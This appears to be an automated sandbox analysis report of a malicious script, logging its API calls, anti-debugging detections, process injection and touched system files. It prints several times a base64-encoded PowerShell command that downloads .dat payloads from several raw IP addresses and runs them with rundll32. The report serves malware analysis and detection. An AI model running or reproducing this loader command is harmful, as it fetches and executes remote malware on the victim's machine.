cmdline powershell -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
filepath: powershell
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
parent_process wscript.exe martian_process powershell -ENC "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7ACQAcwB1AHAAZQByAHAAcgBlAGMAaQBzAGUAbgBlAHMAcwAgAD0AIAAoACIAaAB0AHQAcAA6AC8ALwA5ADQALgAxADMAMQAuADEAMQA3AC4AMwAwAC8ANQBZAG8AWQBaAHkAUwBhAC4AZABhAHQALABoAHQAdABwADoALwAvADIAMAA2AC4ANQAzAC4ANAA4AC4AMgAxAC8ASQBiAHcAMAAwADUARQBlAFkAVwAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwA5ADEALgAxADkAOQAuADEANAA3AC4AMQA3ADcALwBJAFMAagAyAHIAdgA3AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADYAMwAuADYAOQAuADEAMQA2AC8AaAA0AG4ATQB6AEEAUABlADAANgAuAGQAYQB0ACwAaAB0AHQAcAA6AC8ALwAxADkAMwAuADIAMAAwAC4AMQA3AC4AMgAwADcALwBWAEsAVgBlADAAZQB4AC4AZABhAHQALABoAHQAdABwADoALwAvADQANQAuADUAOQAuADEANwAwAC4ANAA4AC8AMQBMAEEAVgBxAC4AZABhAHQAIgApAC4AcwBwAGwAaQB0ACgAIgAsACIAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABhAHIAYQBmAGYAaQBuAHMAIABpAG4AIAAkAHMAdQBwAGUAcgBwAHIAZQBjAGkAcwBlAG4AZQBzAHMAKQAgAHsAdAByAHkAIAB7AHcAZwBlAHQAIAAkAFAAYQByAGEAZgBmAGkAbgBzACAALQBUAGkAbQBlAG8AdQB0AFMAZQBjACAAMQA3ACAALQBPACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABlAG4AdgA6AFQARQBNAFAAXABUAG8AbAB6AGUAeQBTAHkAbQBwAGEAdABoAGkAcQB1AGUALgB3AGEAcwBoAGIAbwB3AGwASABvAGcAYQBuAHMAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAAxADAAMAAwADAAMAApACAAewBzAHQAYQByAHQAIAByAHUAbgBkAGwAbAAzADIAIAAkAGUAbgB2ADoAVABFAE0AUABcAFwAVABvAGwAegBlAHkAUwB5AG0AcABhAHQAaABpAHEAdQBlAC4AdwBhAHMAaABiAG8AdwBsAEgAbwBnAGEAbgBzACwAWAA1ADUANQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAIAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMAOwB9AH0A"
Process injection Process 3056 resumed a thread in remote process 1784
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000340
suspend_count: 1
process_identifier: 1784
1 0 0
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file C:\Windows\System32\ie4uinit.exe
file C:\Program Files\Windows Sidebar\sidebar.exe
file C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file C:\Windows\System32\xpsrchvw.exe
file C:\Windows\System32\displayswitch.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file C:\Windows\System32\mblctr.exe
file C:\Windows\System32\mstsc.exe
file C:\Windows\System32\SnippingTool.exe
file C:\Windows\System32\SoundRecorder.exe
file C:\Windows\System32\dfrgui.exe
file C:\Windows\System32\msinfo32.exe
file C:\Windows\System32\rstrui.exe
file C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file C:\Program Files\Windows Journal\Journal.exe
file C:\Windows\System32\MdSched.exe
file C:\Windows\System32\msconfig.exe
file C:\Windows\System32\recdisc.exe
file C:\Windows\System32\msra.exe